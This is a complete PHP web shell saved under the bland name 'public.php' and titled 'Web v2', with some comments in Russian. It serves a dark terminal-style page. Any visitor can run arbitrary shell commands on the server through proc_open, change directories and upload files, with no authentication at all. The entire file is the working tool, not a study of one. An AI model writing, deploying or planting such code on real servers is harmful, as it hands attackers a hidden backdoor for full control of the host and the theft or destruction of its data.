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Filename : public.php
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<?php
session_start();
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

function execute($cmd) {
    $cwd = $_SESSION['cwd'];
    
    // 
    if (preg_match('/^\s*cd\s+(.+)$/', $cmd, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '~') {
            $dir = $_SERVER['HOME'] ?? '/tmp';
        }
        if ($dir[0] === '/') {
            $newCwd = $dir;
        } else {
            $newCwd = $cwd . '/' . $dir;
        }
        $newCwd = realpath($newCwd);
        if ($newCwd && is_dir($newCwd)) {
            $_SESSION['cwd'] = $newCwd;
            return "[Directory changed to: $newCwd]\n";
        } else {
            return "cd: $dir: No such directory\n";
        }
    }
    
    // 
    $fullCmd = "cd " . escapeshellarg($cwd) . " && " . $cmd . " 2>&1";
    
    $descriptorspec = [
        0 => ["pipe", "r"],
        1 => ["pipe", "w"],
        2 => ["pipe", "w"]
    ];
    
    $process = proc_open($fullCmd, $descriptorspec, $pipes);
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]);
        $errors = stream_get_contents($pipes[2]);
        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        return $output . $errors;
    }
    return "Error: Cannot execute command\n";
}

// 
if (isset($_GET['upload']) && isset($_FILES['file'])) {
    $target = $_SESSION['cwd'] . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "OK:" . basename($_FILES['file']['name']);
    } else {
        echo "ERROR:Upload failed";
    }
    exit;
}

if (isset($_POST['cmd'])) {
    echo execute($_POST['cmd']);
    exit;
}

if (isset($_POST['cd_path'])) {
    $path = $_POST['cd_path'];
    if (is_dir($path)) {
        $_SESSION['cwd'] = realpath($path);
        echo $_SESSION['cwd'];
    } else {
        echo "ERROR";
    }
    exit;
}

if (isset($_POST['get_cwd'])) {
    echo $_SESSION['cwd'];
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Web v2</title>
    <style>
        * { box-sizing: border-box; }
        body { background: #1e1e1e; margin: 0; padding: 20px; font-family: 'Consolas', 'Monaco', monospace; }
        .container { max-width: 1400px; margin: 0 auto; }
        .toolbar { background: #2d2d2d; padding: 10px; margin-bottom: 10px; border-radius: 5px; }
        .terminal { background: #0c0c0c; border: 1px solid #3c3c3c; height: 600px; overflow-y: auto; padding: 10px; color: #d4d4d4; font-size: 13px; }
        .terminal-line { font-family: inherit; white-space: pre-wrap; word-break: break-all; margin: 0; line-height: 1.4; }
        .terminal-line.prompt { color: #4ec9b0; }
        .terminal-line.error { color: #f48771; }
        .input-line { display: flex; margin-top: 10px; background: #2d2d2d; border-radius: 5px; overflow: hidden; }
        .prompt { background: #3c3c3c; padding: 10px; color: #4ec9b0; font-weight: bold; }
        #cmdInput { flex: 1; background: #1e1e1e; border: none; color: #d4d4d4; font-family: 'Consolas', monospace; font-size: 13px; padding: 10px; outline: none; }
        .upload-area { display: inline-block; margin-left: 20px; }
        .btn { background: #0e639c; border: none; color: white; padding: 5px 15px; cursor: pointer; border-radius: 3px; }
        .btn:hover { background: #1177bb; }
        .status { margin-left: 10px; color: #4ec9b0; font-size: 12px; }
        .breadcrumb { color: #ce9178; margin-bottom: 10px; font-size: 12px; background: #2d2d2d; padding: 8px 10px; border-radius: 5px; display: flex; align-items: center; flex-wrap: wrap; gap: 5px; }
        .breadcrumb-item { cursor: pointer; color: #4ec9b0; text-decoration: none; transition: color 0.2s; }
        .breadcrumb-item:hover { color: #6fd4b8; text-decoration: underline; }
        .breadcrumb-separator { color: #858585; margin: 0 2px; }
        .folder-icon { margin-right: 5px; }
        .home-btn { background: #0e639c; border: none; color: white; padding: 2px 8px; cursor: pointer; border-radius: 3px; font-size: 11px; margin-left: 10px; }
        .home-btn:hover { background: #1177bb; }
    </style>
</head>
<body>
<div class="container">
    <div class="toolbar">
        <span style="color:#4ec9b0">📁</span> 
        <div id="breadcrumb" class="breadcrumb" style="display: inline-block; margin: 0; padding: 0;">
            <!-- Хлебные крошки будут здесь -->
        </div>
        <div class="upload-area" style="float:right">
            <input type="file" id="uploadFile" style="display:none">
            <button class="btn" onclick="document.getElementById('uploadFile').click()">📤 Upload</button>
            <span id="uploadStatus" class="status"></span>
        </div>
    </div>
    <div id="terminal" class="terminal"></div>
    <div class="input-line">
        <div class="prompt">$></div>
        <input type="text" id="cmdInput" autofocus>
    </div>
</div>

<script>
    const terminal = document.getElementById('terminal');
    const cmdInput = document.getElementById('cmdInput');
    const breadcrumbDiv = document.getElementById('breadcrumb');
    let currentCwd = '<?php echo $_SESSION['cwd']; ?>';
    let history = [];
    let historyIndex = -1;
    
    function addLine(text, isError = false) {
        const line = document.createElement('div');
        line.className = 'terminal-line' + (isError ? ' error' : '');
        line.textContent = text;
        terminal.appendChild(line);
        terminal.scrollTop = terminal.scrollHeight;
    }
    
    function updateBreadcrumb(path) {
        if (!path) return;
        
        let parts = path.split('/').filter(p => p !== '');
        let breadcrumbHtml = '<span class="folder-icon">📁</span>';
        
        breadcrumbHtml += '<span class="breadcrumb-item" onclick="navigateTo(\'/\')">/</span>';
        
        let currentPath = '';
        for (let i = 0; i < parts.length; i++) {
            currentPath += '/' + parts[i];
            breadcrumbHtml += '<span class="breadcrumb-separator">/</span>';
            breadcrumbHtml += '<span class="breadcrumb-item" onclick="navigateTo(\'' + currentPath + '\')">' + escapeHtml(parts[i]) + '</span>';
        }
        
        breadcrumbHtml += ' <button class="home-btn" onclick="navigateTo(\'~\')" title="Go to home directory">🏠 Home</button>';
        breadcrumbHtml += ' <button class="home-btn" onclick="refreshCwd()" title="Refresh">🔄</button>';
        
        breadcrumbDiv.innerHTML = breadcrumbHtml;
    }
    
    function escapeHtml(text) {
        const div = document.createElement('div');
        div.textContent = text;
        return div.innerHTML;
    }
    
    function navigateTo(path) {
        if (path === '~') {
            path = '/home';
        }
        
        fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'cd_path=' + encodeURIComponent(path)
        })
        .then(res => res.text())
        .then(newPath => {
            if (newPath !== 'ERROR') {
                currentCwd = newPath;
                updateBreadcrumb(currentCwd);
                addLine('[Directory changed to: ' + currentCwd + ']');
                
                // Command
                executeCommand('ls -la', true);
            } else {
                addLine('Error: Cannot navigate to ' + path, true);
            }
        });
    }
    
    function refreshCwd() {
        fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'get_cwd=1'
        })
        .then(res => res.text())
        .then(pwd => {
            if (pwd.trim()) {
                currentCwd = pwd.trim();
                updateBreadcrumb(currentCwd);
            }
        });
    }
    
    function executeCommand(cmd, silent = false) {
        if (cmd.trim() === '') return;
        
        if (!silent) {
            addLine(currentCwd + ' $> ' + cmd);
        }
        
        fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: 'cmd=' + encodeURIComponent(cmd)
        })
        .then(res => res.text())
        .then(output => {
            if (output.trim()) {
                addLine(output);
            }
        })
        .catch(err => addLine('Error: ' + err, true));
    }
    
    // Upload
    document.getElementById('uploadFile').addEventListener('change', function(e) {
        const file = e.target.files[0];
        if (!file) return;
        
        const formData = new FormData();
        formData.append('file', file);
        formData.append('upload', '1');
        
        const status = document.getElementById('uploadStatus');
        status.textContent = 'Uploading...';
        
        fetch('?upload=1', {
            method: 'POST',
            body: formData
        })
        .then(res => res.text())
        .then(data => {
            if (data.startsWith('OK:')) {
                status.textContent = '✓ ' + data.substring(3);
                setTimeout(() => status.textContent = '', 2000);
                addLine('[File uploaded: ' + data.substring(3) + ']');
                // Обновляем содержимое после загрузки
                executeCommand('ls -la', true);
            } else {
                status.textContent = '✗ Failed';
                addLine('[Upload failed]', true);
            }
        });
    });
    
    // Keyboard handling
    cmdInput.addEventListener('keydown', function(e) {
        if (e.key === 'Enter') {
            const cmd = cmdInput.value;
            if (cmd.trim()) {
                saveToHistory(cmd);
                executeCommand(cmd);
            }
            cmdInput.value = '';
            historyIndex = -1;
        } else if (e.key === 'ArrowUp') {
            e.preventDefault();
            if (historyIndex < history.length - 1) {
                historyIndex++;
                cmdInput.value = history[history.length - 1 - historyIndex];
            }
        } else if (e.key === 'ArrowDown') {
            e.preventDefault();
            if (historyIndex > 0) {
                historyIndex--;
                cmdInput.value = history[history.length - 1 - historyIndex];
            } else if (historyIndex === 0) {
                historyIndex = -1;
                cmdInput.value = '';
            }
        }
    });
    
    function saveToHistory(cmd) {
        if (cmd.trim() && (history.length === 0 || history[history.length-1] !== cmd)) {
            history.push(cmd);
            if (history.length > 100) history.shift();
        }
    }
    
    // 
    updateBreadcrumb(currentCwd);
    addLine('=== Web Ready ===');
    addLine('================================');
</script>
</body>
</html>